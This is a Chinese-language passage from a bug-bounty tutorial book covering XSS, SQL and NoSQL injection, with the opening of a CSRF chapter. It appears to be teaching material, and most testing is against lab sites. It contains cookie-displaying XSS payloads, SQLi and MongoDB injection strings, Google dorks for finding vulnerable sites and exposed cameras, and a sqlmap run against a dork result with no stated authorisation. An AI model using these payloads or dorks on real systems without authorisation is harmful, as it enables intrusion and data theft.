以下是一个 XSS 测试片段示例。它使用 onmouseover 属性执行经典的 XSS 钓鱼攻击 alert() JavaScript：

<a onmouseover="alert(document.location)" href="#">snippet text</a>

document.location 包含了引用 XSS 发生位置的确切 URL 的方法。

我们刚才提到的代码片段是存储型或持久型 XSS 的一个例子，因为含有恶意 JavaScript 的 <a> 标签会通过表单输入作为评论或普通文本字段的一部分被插入，然后存储在 Web 应用的数据库中，其他用户查看该页面时可以检索并查看。然后，当某人将鼠标悬停在该元素上时，其 onmouseover 事件会触发执行恶意的 XSS 代码。

反射型 XSS 是指注入的脚本通过搜索结果页面、错误信息或由用户输入部分构成的其他消息从目标服务器反射回去。反射型 XSS 可以非常具有破坏性，因为它利用了反射代码所在服务器的信任。

还有基于 DOM 的 XSS，这是一种更为专业的攻击类型，依赖于用户接收到一个包含 XSS 负载的黑客生成链接，促使用户的浏览器打开该链接，在构建 DOM 的过程中回显负载，并执行代码。

尽管存储型/持久型 XSS、反射型 XSS 和基于 DOM 的 XSS 都可以归为 XSS 类型的不同分类，但另一种思考 XSS 类型的方法是将其分为客户端 XSS 和服务器端 XSS。在这种框架下，客户端和服务器端的变种都有存储型和反射型两种类型：服务器端 XSS 发生在服务器提供未经验证的用户数据时，无论是通过请求（反射型 XSS）还是存储位置（存储型 XSS），而客户端 XSS 则是指在客户端执行未经验证的代码，来自相同的位置。

我们将介绍一些检测 XSS 的技术，其中有些仅适用于特定类型的 XSS，而有些则适用于更广泛的攻击类型。

测试 XSS – 哪里可以找到它，如何验证它

有几种很好的方法可以发现 XSS。我们将从一个我们在准备进行渗透测试时已经开始使用的工具开始，深入了解 Burp 中的一些新部分以及与 XSS 相关的 Burp 扩展。

Burp Suite 和 XSS Validator

自动化和半自动化的 XSS 解决方案存在一个问题，那就是区分信号和噪声。为了解决这个问题，XSS Validator 这一有用的 Burp 插件运行一个由 PhantomJS 驱动的 Web 服务器，用于接收 Burp 查询的结果，并寻找注入到 alert() 调用中的字符串，该调用嵌入在应用的 XSS 代码片段中。它提供了一种清晰的方法来筛选出 XSS 提交的结果，确保只保留绝对确认的漏洞。

下载 XSS Validator Burp 扩展的最简单方法是通过 Bapp 商店。从 Burp Suite 的扩展选项卡中进入商店，选择市场中的扩展（不用说，这是免费的）。你也可以通过参考 XSS Validator GitHub 文档中的说明手动安装该扩展。

除了安装扩展外，在实际测试过程中，你还需要运行服务器来解析传入的 Burp 请求。如果你克隆了 XSS Validator 的 git 仓库，你可以进入 xss-validator 目录并启动 xss.js 脚本。然后你可以启动服务器，并将其设置为作为一个独立的后台进程运行，只需一行命令：

phantomjs xss.js &

在 XSS Validator 服务器和 Burp Suite 启动（boostrap_burp）的情况下，前往你想要测试 XSS 的特定表单输入。作为在经过验证的测试环境上演示工具，我们将测试一个 Web 扫描测试站点（webscantest.com）上的表单输入，该站点设计为容易受到 XSS 攻击：

到达页面后——由于我们已关闭 Burp Proxy 的 Intercept 功能，因此不需要手动转发所有流量——我们在要测试的表单字段中输入一些可识别的内容：

现在我们需要返回 Burp Suite GUI，并在提交之前重新打开 Intercept：

现在当我们提交时，你应该看到浏览器的 favicon 表示已提交，但表单上没有任何变化。如果你返回 Burp，你会看到你已经拦截了表单的 POST 请求（注意，如果你打开了其他标签页，你可能会看到 Burp 代理已经拦截了那些页面的请求，并且需要将它们转发）：

我们希望将此请求发送到 Burp Intruder 功能，在那里我们可以进一步操作 POST 数据。为此，右键点击请求并选择 Send to Intruder：

一旦你进入 Intruder 窗口，前往 Positions 标签页，你可以看到已经选择为 Payload Positions 的 POST 请求参数和 cookie ID。我们可以保留这些默认设置，然后转到 Payloads 标签页，选择我们将要填充这些输入的内容。为了与 XSS Validator 扩展集成，我们需要对这前三个与 Payload 相关的设置进行如下更改：

Payload 集合

对于第二个下拉框，Payload 类型，选择扩展生成的选项。

Payload 选项

当你点击 Select generator... 时，你将打开一个模态框，在其中你可以选择 XSS Validator Payloads 作为你选择的生成器。

Payload 处理

在这里你需要添加一个规则，选择 Invoke Burp extension 作为规则类型，然后选择 XSS Validator 作为处理器：

完成所有这些选择后，你的应用 GUI 应该如下所示：

在我们开始攻击之前，还需要做一个设置更改。如果你进入 xssValidator 标签页，你会看到 Grep Phrase 字段中生成了一个随机字符串，并且可能还会看到解释说明，成功的攻击将通过存在 Grep Phrase 来表示：

我们希望将这个 grep 短语添加到选项标签页的 Grep - Match 部分，以便在查看我们的攻击结果时，我们可以看到一个复选框，指示我们的短语是否出现在攻击响应中：

一旦添加了该短语，我们就准备开始攻击了。点击选项视图右上角的“开始攻击”按钮（以及其他任何视图）。

点击按钮后，你应该会看到一个攻击窗口弹出，并开始自动填充 XSS 片段提交的结果：

就这样！我们可以看到我们所用的 grep 短语，这意味着我们的提交已经成功，对于通过 XSS Validator 提交的多种标签/属性组合来说都有效。

XSS – 一例完整的攻击示范

在本书中，我们将研究故意设定漏洞的教学网站上的错误，以及真实公司拥有的在线应用程序——通过这种方式，我们可以看到在真实环境中存在的漏洞，同时还会有一些章节，让你可以在家进行实践。

Google Gruyere 中的 XSS

接下来的部分发生在Google Gruyere，这是一个由 Google 运营的 XSS 实验室，解释了 XSS 的不同方面，并提供了适当易受攻击的表单输入：

Google Gruyere 基于一个类似社交网络的模型，类似于 Instagram 或 Twitter，用户可以分享公开的片段，就像前者网站的 280 字文本块。除了显而易见的将服务宣传为容易遭受 XSS 攻击外，还有一些小段文字，类似于你在真实应用中会发现的内容，暗示了潜在的漏洞。一些 HTML 支持形式在特定情况下总会存在机会，即使站点开发人员为允许格式化标记（如 <p></p>、<b></b>、<br/>）而设置了过滤器，试图排除诸如 <script></script> 之类的危险内容，但这些过滤器仍有可能未能清除你精心构造的片段。

通过提交表单来创建一个新片段（设置好账户后），我们可以尝试探测清理过程的外部边缘。让我们尝试使用一个即使是最简单的过滤器也应该捕捉到的脚本：

<script>alert(1)</script>

一个普通的脚本标签，没有任何混淆、转义字符或特殊属性，是一个相当简单的攻击方式，如下所示：

当我们查看提交结果时，没有显示 alert() 窗口，也没有其他任何东西触发代码的执行，如下所示：

这个过滤器无疑有一些漏洞，但它在最基本的层面上还是能起作用，能够剥离 <script> 标签。我们在 Seclists 仓库中的 XSS 代码片段列表中找到另一个来试，确保该 HTML 标签很可能会被包含在一个旨在允许格式化代码的表单输入中：

<a onmouseover="alert(document.cookie)">xxs link</a>

document.cookie 是我们提出的攻击场景的一个示例，也是一个简单的通过 alert() 展示的数据：

再次进行提交过程时，我们收到了不同的回应。成功了！我们的策略，利用一个无聊的格式化标签来伪装恶意负载（包含在它的属性中），成功了，现在我们有了一个确认的漏洞来报告：

收集报告信息

关于我们发现的漏洞，需要收集大量信息，这些信息在各个提交平台和格式中都可能是必要的或有用的。

类别

很简单，这是漏洞所属的类别。在我们这个例子中，它是持久性 XSS。

时间戳

如果你使用的是自动化或仅基于代码的解决方案来接触目标，记录时间戳是必须的——时间越准确越好。如果像我们刚才那样手动输入恶意代码片段，那么发现之后的时间就足够了。提供 UTC 时间戳可以帮助接收报告的开发者在分析日志、使用图表和其他监控工具时避免进行时区转换。

URL

这是漏洞的 URL。在执行测试时，像 alert() 这样的代码有时可以用来显示位置（例如，alert(document.location)）。这样，在一张截图中，你可以同时展示漏洞的初步证据和它在应用中的位置。

负载

我们用来成功执行 JavaScript 的 XSS 代码片段将在这里展示。如果是 SQL 注入、成功的密码攻击，或者其他基于负载的攻击，这些数据也是必须的。如果在一次发现中碰到了多种负载类型，应该提到所有能够说明通用清理规则被误应用的情况：

<a onmouseover="alert(document.cookie)">xxs link</a>

方法论

如果你是使用某个特定工具发现了这个漏洞，要告诉他们（如果他们明确表示不要使用扫描器，就不要使用！）。如果他们使用类似的工具，这可以帮助处理你报告的团队验证你的发现，并将其纳入重现问题的过程。在这种情况下，我们只需要说我们提交了代码片段，并手动验证了漏洞。

还需要列出一些关于发现漏洞的环境的基本信息：你的操作系统、浏览器类型和版本（如果相关的话，还包括任何插件或扩展），以及你认为相关的任何其他信息（例如，是在隐身窗口中发现的吗？如果使用 curl、Postman 或其他工具时，是否使用了特定的头信息？）。

重现步骤

确保你的指令足够清晰，以便评估人员能理解，是你提供的最重要信息之一，和实际的有效载荷一起。漏洞的截图（例如，警报窗口）是很好的证据，但如果漏洞无法复现，可能无法获得奖励。

攻击场景

提出一个好的攻击场景不像之前的数据点那样必要，但它可以是一个提高漏洞严重性和增加奖励的好方法。

对于这个攻击，我们将展示损害的范围，不仅仅是 Gruyere 应用。如果攻击者能够通过存储型 XSS 漏洞执行任意的 JavaScript，他们可以窃取敏感的 Cookie 信息，例如用于身份验证的金融应用程序（银行、经纪商、加密货币交易员）或社交网络（Twitter、Facebook、Instagram）的 Cookie，这些信息可能被用于身份盗窃、信用卡欺诈和其他网络犯罪。

下面是我们报告的样子：

CATEGORY: Persistent / Stored XSS

TIME: 1:12 AM (1:12) UTC

URL: https://google-gruyere.appspot.com/09809809887686765654654/newsnippet.gtl

PAYLOAD: <a onmouseover="alert(document.cookie)">xxs link</a>

METHODOLOGY: XSS payload submitted manually 

INSTRUCTIONS TO REPRODUCE:

1\. Navigate to "New Snippet" submission page
2\. Enter the XSS payload into the "New Snippet" form.
3\. Click "Submit" and create a new snippet.
4\. The malicious XSS contained in the payload is executed whenever someone hovers over the snippet with that link.

ATTACK SCENARIO:
With a persistent XSS vulnerability to exploit, a malicious actor could exfiltrate sensitive cookies to steal the identity of Gruyere's users, impersonating them both in the app and in whatever other accounts they are logged into at the time of the XSS script's execution.

总结

本章介绍了不同类型的 XSS 攻击，理解 XSS 片段的结构，并通过扩展 Burp Suite 与 XSS Validator 来确认注入尝试是否成功。我们还讨论了如何使用 Google Gruyere 作为教学辅助工具和测试平台，并从头到尾报告了一个 XSS 漏洞，包括如何撰写报告和示例提交。

问题

XSS 的不同基本类型有哪些？
哪些 XSS 变种最具危险性/影响力？
XSS Validator 作为扩展的价值是什么？
phantomjs 服务器的作用是什么？
如何在 Burp Intruder 中选择用于模糊测试的有效载荷？
在 XSS 提交报告中最重要的内容是什么？
对于发现 XSS 漏洞并准备利用它的黑客来说，最糟糕的攻击场景是什么？
为什么在报告提交中包含攻击场景很重要？

进一步阅读

你可以在以下链接找到更多关于本章讨论的主题：

XSS 过滤规避备忘单: www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
XSS 挑战: xss-quiz.int21h.jp/
XSS 游戏: xss-game.appspot.com

第五章：SQL、代码注入和扫描器

代码注入是指未经验证的数据被添加（注入）到一个脆弱的程序中并被执行。注入可以发生在 SQL、NoSQL、LDAP、XPath、NoSQL、XML 解析器，甚至通过 SMTP 头部。

在上一章讨论的 XSS 漏洞也是代码注入的例子。当一个带有恶意代码的未清理 HTML 标签通过评论线程或讨论板提交添加到 Web 应用的数据库中时，该代码会被注入到应用中，并在其他用户查看相同评论或讨论时被执行。

本章的重点是检测和防止与数据库相关的代码注入攻击——分别是 SQL 和 NoSQL。我们将讨论如何使用命令行工具测试表单输入的 SQLi 漏洞，如何使用类似的技术进行 NoSQLi 测试，如何扫描 SQLi 以及其他注入攻击，并介绍避免对目标数据库造成损害的最佳实践。

在本章中，我们将涵盖以下主题：

SQLi 和其他代码注入攻击
使用 sqlmap 测试 SQLi
寻找 bug
使用 Arachni 扫描 SQLi
NoSQL 注入
SQLi 的端到端示例

技术要求

在本章中，除了我们现有的 Burp 和 Burp Proxy 与 Chrome（66.0.3359.139）的集成外，我们还将使用 sqlmap，这是一个用于检测 SQL 和 NoSQL 注入的命令行工具。sqlmap 可以通过 Homebrew 安装，命令为 brew install sqlmap，也可以作为 Python 模块通过 pip 安装。sqlmap 是一个流行的工具，因此无论您的系统是什么，应该都有安装路径。

我们还将使用 Arachni 作为我们的首选扫描器。尽管扫描器比较吵闹，但在适当的情况下，它们是不可或缺的，并且非常擅长发现那些难以检测的 bug。Arachni 是一个出色的选择，因为它是开源的，支持多线程，能够通过插件进行扩展，且具有出色的命令行界面，允许将其集成到其他自动化工作流程中。Arachni 很容易安装；你可以通过安装 gem（gem install arachni）或直接从官方网站下载相应的安装包来安装。

请从 Arachni 的下载页面安装：www.arachni-scanner.com/download/#Mac-OSX

安装完成后，如果你已经下载了适合系统的安装包，你需要将它们移动到系统内适当的位置。

然后，你可以创建一个符号链接（symlink），使得所有 arachni 命令行工具都可以在你的路径中使用（请填写正确的路径到你的 arachni 安装目录）：

sudo ln -s /Path/to/arachni-1.5.1-0.5.12/bin/arachni* /usr/local/bin

你可能会发现，在将 arachni 可执行文件符号链接到你的路径后，出现以下错误：

/usr/local/bin/arachni: line 3: /usr/local/bin/readlink_f.sh: No such file or directory
/usr/local/bin/arachni: line 4: readlink_f: command not found
/usr/local/bin/arachni: line 4: ./../system/setenv: No such file or directory

如果你收到这个错误，只需将 arachni 安装目录下的 bin 目录中的 readlink_f.sh 脚本符号链接、复制或移动到你自己的路径中。在这种情况下，我们将进行符号链接操作：

sudo ln -s /Path/to/arachni-1.5.1-0.5.12/bin/readlink_f.sh /usr/local/bin/readline_f.sh

现在，当我们在本章后面使用 arachni 时，我们可以直接调用它，而不需要每次都输入完整路径。

SQLi 和其他代码注入攻击——接受未验证的数据

SQLi 是一种相对古老的漏洞。自从 1998 年首次公开披露该攻击开始，已经过去了二十年，诸如 Phrack 等出版物详细描述了这种攻击，但它仍然存在，且往往以严重破坏的方式存在。SQLi 漏洞可能允许攻击者读取敏感数据、更新数据库信息，有时甚至发出操作系统命令。正如 OWASP 简洁地指出的那样，“这个缺陷依赖于 SQL 并没有对控制平面和数据平面做出真实区分。” 这意味着 SQL 命令可以修改它们所包含的数据以及运行软件的底层系统的部分，因此当存在像 sqlmap 的 --os-shell 标志这样的功能访问先决条件时，SQLi 漏洞可以被用来发出系统命令。

有许多工具和设计模式用于防止 SQLi。但由于将新应用程序快速推向市场并迅速迭代功能的压力，SQLi 漏洞输入未被审计，防止此类错误的程序也没有得到实施。

作为一种广泛存在于数据库开发中最常用语言中的漏洞，并且是一种容易被发现、容易被利用并且回报丰厚的错误，SQLi 是一个值得研究的主题。

一个简单的 SQLi 示例

让我们看看 SQLi 是如何分解成实际代码的。

看一下下面的查询，其中 $id 的值是用户提供的输入：

SELECT title, author FROM posts WHERE id=$id

一种常见的 SQLi 技巧是输入可以改变 SQL 语句执行上下文或逻辑的数据。因为 $id 的值直接插入——没有数据清理、删除危险代码或数据类型转换——所以 SQL 语句是动态的，容易被篡改。

让我们做出一个改变，这将影响语句的执行：

SELECT title, author FROM posts WHERE id=10 OR 1=1

在这种情况下，10 OR 1=1 是用户提供的数据。通过修改 WHERE 子句，用户可以改变开发者提供的执行示例的逻辑。前面的示例相对无害，但如果语句要求从用户表中获取账户信息，或者与权限相关的数据库部分，而不仅仅是关于博客文章的信息，那就可能严重损害应用程序。

使用 Sqlmap 进行 SQLi 测试——在哪里找到它以及如何验证它

sqlmap 是一个流行的 CLI 工具，用于检测和利用 SQLi 漏洞。由于我们只对发现这些错误感兴趣，除了为报告提交集思广益的攻击场景外，我们对武器化并不那么感兴趣。

使用 sqlmap 的最简单方法是使用 -u 标志来针对特定 URL 中传递的参数。再次以 webscantest.com 为例，我们可以测试一个专门对 GET 请求易受攻击的表单提交中的参数：

sqlmap -u "http://webscantest.com/datastore/search_get_by_id.php?id=3"

当sqlmap开始探测目标 URL 中传递的参数时，它会提示你回答几个关于攻击方向和范围的问题：

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

如果你能通过自己的调查成功识别后端，建议在这里选择“是”，以减少报告中的噪音。

你还会被问到愿意接受哪种risk级别的输入值：

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values?

sqlmap 作为一个既能检测 SQLi 漏洞又能利用这些漏洞的工具，需要谨慎使用。除非你在一个完全独立于所有生产系统的沙盒环境中进行测试，否则你应该选择较低的风险级别设置。使用最低的风险级别可确保 sqlmap 使用恶意 SQL 输入测试表单，这些输入旨在让数据库休眠或枚举隐藏信息，而不是破坏数据或危害身份验证系统。由于目标 SQL 数据库中包含的信息和过程非常敏感，因此在处理与后端系统相关的漏洞时需要小心谨慎。

一旦sqlmap完成其测试输入范围，它会提示你是否要测试其他参数。完成对目标 URL 中所有传递参数的测试后，sqlmap会输出所有发现的漏洞报告：

成功！有几个与id参数相关的漏洞，包括一对盲注 SQLi 漏洞（注入的结果在 GUI 中不可直接看到）以及基于错误和UNION的输入——所有这些都被 webscantest.com 的文档确认。

抓取漏洞 – 使用 Google Dorks 和 Python 进行 SQLi 漏洞发现

使用sqlmap需要一个目标 URL——这个 URL 必须包含可测试的参数。接下来的技术可以用来定位特定的应用程序和表单输入——就像sqlmap一样——或者简单地返回一个易受 SQLi 漏洞影响的站点列表。

Google Dorks 用于 SQLi

使用 Google Dorks——有时称为 Google 黑客技术——意味着通过精心设计的搜索查询，利用搜索引擎返回易受 SQLi 和其他漏洞攻击的网站。Google Dork 这个名字源自一个不小心配置错误的员工，他们将敏感的公司信息暴露到网上。

下面是一些常见的 Google Dorks 示例，用于发现 SQLi 漏洞：

inurl:index.php?id=
inurl:buy.php?category=
inurl:pageid=
inurl:page.php?file=

你可以看到这些查询被设计为返回结果，其中发现的站点至少在理论上是易受 SQLi 攻击的（因为这些站点的 URL 结构）。Dork 的基本形式是search_method:domain/dork，其中 search_method 和 dork 被调整为查找特定类型的漏洞，domain 用于在你希望针对特定应用程序时。比如，下面是一个设计用于返回不安全 CCTV 视频流的 dork：

intitle:”EvoCam” inurl:”webcam.html”

这个 Dork 并没有针对特定的 URL；它只是寻找任何页面标题包含 Evocam 且页面 URL 包含 webcam.html 的网站。

验证 Dork

在浏览一个小型安全网站时，我发现了以下 Dork，列在该公司 Bugtraq 部分（intext 字段中显示的公司标题已被更改）：

inurl:index.jsp? intext:"some company title"

尽管这个 Dork 没有指定目标 URL，但它通过 intext 搜索过滤器专注于特定公司。对于 inurl 值，jsp 是 JSP 的文件扩展名，JSP 是 Java Servlet 的 Web 应用框架。jsp 有点老——它是 Sun Microsystems 在 1999 年推出的对微软的 Active Server Pages (ASP) 的回应——但像许多技术一样，它仍然在遗留行业、小型企业和小型开发公司中被使用。

当我们使用这个 Dork 在 Google 中搜索时，第一条结果返回一个包含 index.jsp? 的 URL：

http://www.examplesite.com/index.jsp?idPagina=12

我们可以看到该网站正在发起一个 GET 请求，传递一个标识访问页面的参数（idPagina）。让我们检查一下，看它是否存在漏洞，我们可以通过将 URL 传递给 sqlmap 来进行检查。

sqlmap -u "http://www.examplesite.com/index.jsp?idPagina=12"

这是一个有效的 sqlmap 命令。这个工具的一个很酷的功能是，它还支持 Dorks 选项 -g，使得你可以传递你想要搜索的 Dork 字符串（而不是手动进行搜索）：

sqlmap -g 'inurl:index.jsp? intext:"some company title"'

在这个例子中，sqlmap 将使用该 Dork 在 Google 上进行搜索，然后获取第一页的结果，一一分析它们，每次都会提示你是否想要分析该 URL，跳过它，或退出。

只取第一条搜索结果——我们通过将 URL 传递给 sqlmap 直接进行的搜索——我们可以看到基于时间的和基于错误的 SQL 注入漏洞：

基于时间的 SQL 注入（SQLi）是指调用 SLEEP() 或其他类似函数，在处理查询时引入延迟。通过延迟、条件语句和其他逻辑的结合，可以慢慢枚举资源，从数据库中提取信息。如果你的有效载荷产生了延迟，你可以推测你的条件已被评估为 true，并且你的假设是正确的。足够多的这种操作可能会暴露敏感信息给有决心的攻击者。作为一种攻击方式，基于时间的 SQL 注入非常嘈杂。对应用程序日志的影响相对较小，但重复使用基于时间的 SQL 注入会导致 CPU 消耗急剧增加，容易被细心的系统管理员或 SRE 检测到。

如果我们将 sqlmap 基于时间的结果（12 RLIKE SLEEP(5)）中的有效载荷插入 idPagina URL 参数中，我们会发现它成功了！由于我们的 SLEEP(5) 命令未被清理，导致该命令被应用程序的 SQL 服务器错误执行，页面加载时间变长。这是一个真正的漏洞。

基于错误的 SQLi 也作为 idPagina 的攻击向量返回。基于错误的 SQLi 是指可以通过错误消息暴露敏感数据库信息的 SQL 命令。再一次，让我们使用这个有效载荷作为 idPagina URL 参数，并将其输入浏览器：

我们成功了！页面返回了一个表格 ID。暴露敏感数据库信息的程度已经超出了有效 SQLi 漏洞的阈值。

使用 Arachni 扫描 SQLi

正如我们在技术要求部分提到的，arachni 是我们选择的 SQLi 扫描工具，因为它是开源的、可扩展的、多线程的，并且可以从命令行界面（CLI）使用，且与其他自动化工具兼容。

按照要求安装 arachni（并为你安装的 arachni 可执行文件创建符号链接）后，你将能够在 $PATH 中访问 arachni 的命令行界面。让我们查看 Arachni 的帮助信息，探索一些可用的选项：

这是输出的截断版本。Arachni 有许多选项，数量多到这里无法全部列举。但某些命令行选项对于扩展 Arachni 的功能和创建更复杂的工作流非常有用。

超越默认设置

像许多扫描器一样，arachni 几乎可以通过点击操作来完成一切，甚至到了有些过头的程度。虽然开始从命令行对一个 URL 进行蜘蛛抓取时不需要额外的参数，但有几个关键选项我们应该关注，以获得更好的功能。

--timeout

当你让 arachni 扫描一个 URL 时，它会启动多个线程，开始用所有扫描器用来触发有趣行为的恶意代码片段和探索性请求来轰炸目标。然而，如果你速度过快，并且被 WAF 限制了流量，你可能会发现一些或所有的线程挂起，有时是无限期地。--timeout 参数允许你传入一个参数，指定 arachni 在关闭并基于收集到的数据生成报告之前应该等待多长时间。

--checks

默认情况下，当你扫描一个 URL 时，如果没有传递任何额外的信息，arachni 会应用其系统中的所有检查。但有时你可能希望排除一些优先级较低的警告——例如，arachni 会警告你公司邮箱被公开暴露，但通常如果邮箱是公司邮箱或本来就是面向客户的，这并不是问题。一些形式的数据泄露是重要的，但对于大多数公司来说，这不在其中。你也可能想排除一些噪声较大的检查，因为这些检查会对目标服务器或网络架构造成过大的负担。

checks 选项接受的参数是你应该包含和排除的检查项，星号 * 表示所有选项，排除的检查项则通过减号（-）表示。

--scope-include-subdomains

这个开关的作用正如它的名字所示——它告诉 arachni，当它爬取 URL 时，可以自由地跟随它找到的任何指向该网站子域的链接。

--plugin 'PLUGIN:OPTION=VALUE,OPTION2=VALUE2'

plugin 选项允许我们传递 arachni 插件可能依赖的环境变量（如 SaaS 变量的身份验证令牌、配置设置、SMTP 用户名和密码等）。

--http-request-concurrency MAX_CONCURRENCY

Arachni 控制 HTTP 请求的能力对于确保目标服务器不会被过多流量压垮至关重要。即使在特定目标范围内扫描被允许，根据约定，通常会为扫描器设置一个速度限制，以防止类似 DoS 攻击的情况发生。不管怎样，降低请求并发量可以确保你不会受到 WAF 的攻击。扫描器的默认 MAX_CONCURRENCY 是 20 个 HTTP 请求/秒。

编写封装脚本

就像我们将 bootstrap_burp.sh 脚本写作方便的封装器，来简化初始化 Burp 的 JAR 文件的长命令，这样每次启动应用程序时就不用每次输入完整的路径和选项一样，我们也可以对 arachni 做同样的事情。将我们刚才覆盖的所有选项（除了 --plugins）组合起来，这就是我们的脚本样子。我们将它命名为 ascan.sh：

#!/bin/sh

arachni $1 \
 --checks=*,-emails* \
 --scope-include-subdomains \
 --timeout 1:00:00 \
 --http-request-concurrency 10

像 bootstrap_burp.sh 一样，我们可以通过简单的 chmod u+x ascan.sh 使其可执行，并使用 sudo ln -s /Path/to/ascan.sh /usr/local/bin/ascan 将其添加到我们的路径中。

超时时间确实较长，目的是为了适应较小请求池所导致的长时间挂起，以及由于基于时间的 SQL 注入调用而需要的延长等待时间。

NoSQL 注入——注入格式错误的 MongoDB 查询

根据 OWASP 的数据，市面上有超过 150 种不同的 NoSQL 数据库可以用于 Web 应用程序。我们将特别关注 MongoDB，最广泛使用的开源无结构 NoSQL 数据库，来展示如何在多种工具集中实现注入。

MongoDB API 通常期望使用安全的 BSON 查询构建工具构建的 BSON 数据（即二进制 JSON）。但在某些情况下，MongoDB 也可以接受未经序列化的 JSON 和 JavaScript 表达式——例如 $where 操作符的情况。

它通常用作过滤器——就像 SQL 的 WHERE 操作符一样：

db.myCollection.find( { $where: "this.foo == this.baz" } );

当然，你可以让这个表达式变得更加复杂。最终，如果数据没有得到适当的清理，MongoDB 的 $where 子句能够插入并执行整个用 JavaScript 编写的脚本。与 SQL 不同，SQL 是声明式的且作为语言具有一定的局限性，而 MongoDB 支持复杂的 JavaScript 条件表达式，拓宽了语言的全套特性，进而也使其容易遭到攻击。

你可以看到这种类型的漏洞是如何常见地被利用的。在 GitHub 和其他代码分享网站上，你可以找到列举不同恶意 MongoDB $where输入的清单，例如这个：github.com/cr0hn/nosqlinjection_wordlists。

一些输入被设计为拒绝服务（DoS）和资源消耗攻击：

';sleep(5000); ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);

有些人目的是发现密码：

' && this.password.match(/.*/)//+%00

MongoDB 中的另一个代码注入途径存在于 PHP 实现中。由于$where不仅是 MongoDB 的保留字，而且是有效的 PHP 代码，攻击者可以通过创建一个$where变量，将代码提交到查询中。

但无论实现方式如何，这些攻击都依赖于与一般注入攻击相同的原理——未经清理的数据被误认为并作为应用程序命令执行。

如 MongoDB 所示，输入格式不正确改变开发者代码逻辑的问题，不仅限于 SQL 或任何特定语言、框架或工具，而是一个更广泛的问题。

SQL 注入 – 一个端到端示例

回到arachni，我们将其指向webscantest.com/datastore，并开始扫描，看看我们能发现什么：webscantest.com/datastore。

运行扫描（这会花费一些时间）后，arachni将把结果打印到控制台并生成一个AFR文件。AFR扩展名代表 Arachni 框架报告，是arachni用来存储扫描结果的格式。这个AFR文件可以转换成 HTML、JSON、XML 或其他文档格式：

我们可以立即看到这里有一个漏洞可以进一步探索。这是一个使用报告 HTML 版本的好机会，它利用浏览器可视化整个扫描结果。

当你想分析扫描结果时，可以使用arachni_reporter可执行文件生成一个压缩的 HTML 文件：

arachni_reporter some_report.afr --reporter=html:outfile=my_report.html.zip

重要的是要指定输出文件为压缩的 HTML 格式，因为这是arachni_reporter用来创建报告的格式。如果你省略zip后缀，直接尝试打开生成的 HTML 文件，浏览器将显示一长串未经格式化、难以理解的特殊字符。

以下是你在解压并在浏览器中查看文件时得到的内容：

Arachni 给我们展示了发现问题的概览。深入分析后，我们可以找到一些 SQL 注入的实例。让我们来看一下一个时间问题：

滚动过一些解释性文本和修复建议后，我们可以看到有效负载和受影响的 URL，如下所示：

现在我们可以开始写报告了。

收集报告信息

让我们一步步写出报告所需的信息。

类别

这是一个基于时间的 SQL 注入攻击。

时间戳

对于我们的时间戳，我们可以提供一个估算值。

URL

漏洞的 URL 已在 arachni 报告中清楚地提供：

http://webscantest.com/datastore/search_by_id.php

有效载荷

SQLi 有效载荷在控制台和 HTML 报告中都显著列出，位于注入的种子下：

sleep(16000/1000);

方法论

再次强调，只有在获得授权的情况下才能使用扫描器！我们会报告此发现来自 Arachni 的 1.5.1 版本。

重现步骤

我们不仅仅是指向 arachni，我们还希望列出手动重现我们报告的漏洞的步骤。在这种情况下，步骤是导航到受影响页面上的表单，输入有效载荷并点击提交。无需编码、DOM 操作或其他技巧。

攻击场景

当 SQL 数据库遭受基于时间的注入攻击时，该漏洞允许攻击者通过巧妙地使用表达式和 SQLi 引发的暂停来枚举数据库中的信息。攻击可能会窃取商业或支付数据、敏感令牌/身份验证凭证，或任何其他关键数据。

最终报告

让我们使用这些信息来格式化我们的提交：

CATEGORY: Blind SQLi (time-based)

TIME: 2018-06-18 3:23 AM (3:23) UTC

URL: http://webscantest.com/datastore/search_by_id.php

PAYLOAD: sleep(16000/1000);

METHODOLOGY: Vulnerability detected with Arachni scanner, v. 1.5.1-0.5.12

INSTRUCTIONS TO REPRODUCE:

1\. Navigate to "/search_by_id.php"
2\. Enter the SQLi payload into the search form.
3\. Submit the query.
4\. The time-based SQLi code will cause a delay in the SQL thread execution.

ATTACK SCENARIO:
With a time-based SQL injection vulnerability to exploit, a malicious actor could use the time-delay combined with SQL expressions to enumerate sensitive information—authentication credentials, payment data, DB information, and more.

概要

本章介绍了 SQL 和 NoSQL 注入的基本概念，使用 sqlmap 测试目标主机 URL，Google Dorks 对于应用程序目标和通用漏洞分析的价值，以及如何正确报告 SQLi 漏洞，从检测到提交。

在下一章，我们将讨论跨站请求伪造（CSRF）、如何创建（并自动化）CSRF PoC、CSRF 的发生地点、验证 CSRF 漏洞、报告该漏洞的策略等。

问题

什么是盲注 SQLi、基于错误的 SQLi 和基于时间的 SQLi？
尝试使用激进字符串输入检测 SQLi 漏洞有什么危险？
什么是 Google dork？它是如何得名的？
arachni 命令行界面（CLI）有哪些特别有用的命令行选项？
如何从 Arachni Framework Report（AFR）文件生成报告？
在 MongoDB 中有哪些注入向量？
使 SQL 线程休眠有什么价值？

进一步阅读

你可以在以下链接了解本章讨论的某些主题：

Arachni GitHub 页面：github.com/Arachni/arachni
Exploit DB：ww.exploit-db.com
GoogleDorking：www.google-dorking.com

第六章：CSRF 和不安全的会话认证

跨站请求伪造（CSRF）是指攻击者利用已登录用户的身份验证状态执行恶意应用程序请求，并以有害的方式更改用户的应用程序。由于攻击者无法看到任何攻击的结果，通常与窃取信息无关，更多的是利用应用程序的功能（例如，让移动支付系统的用户向错误的人发送资金）。通常涉及强烈的社会工程方面：钓鱼和其他技术被用来诱使用户点击链接，从而发起恶意请求并充当 CSRF 攻击向量。

CSRF 通常是可能的，因为意图用于应用程序的身份验证凭据或 cookie 错误地允许访问另一个部分。例如，当您登录到 PayPal 或其他支付应用程序时，您点击在聊天会话中发送给您的链接。该链接执行代码，获取您在浏览器中的身份验证 cookie，以进行（经过身份验证的）请求将资金发送给攻击者。与 XSS 不同，危险不在于您将敏感信息发送给攻击者，从而使他们能够稍后冒充或欺诈您；相反，危险是作为应用程序的已登录用户允许执行的操作的直接后果。

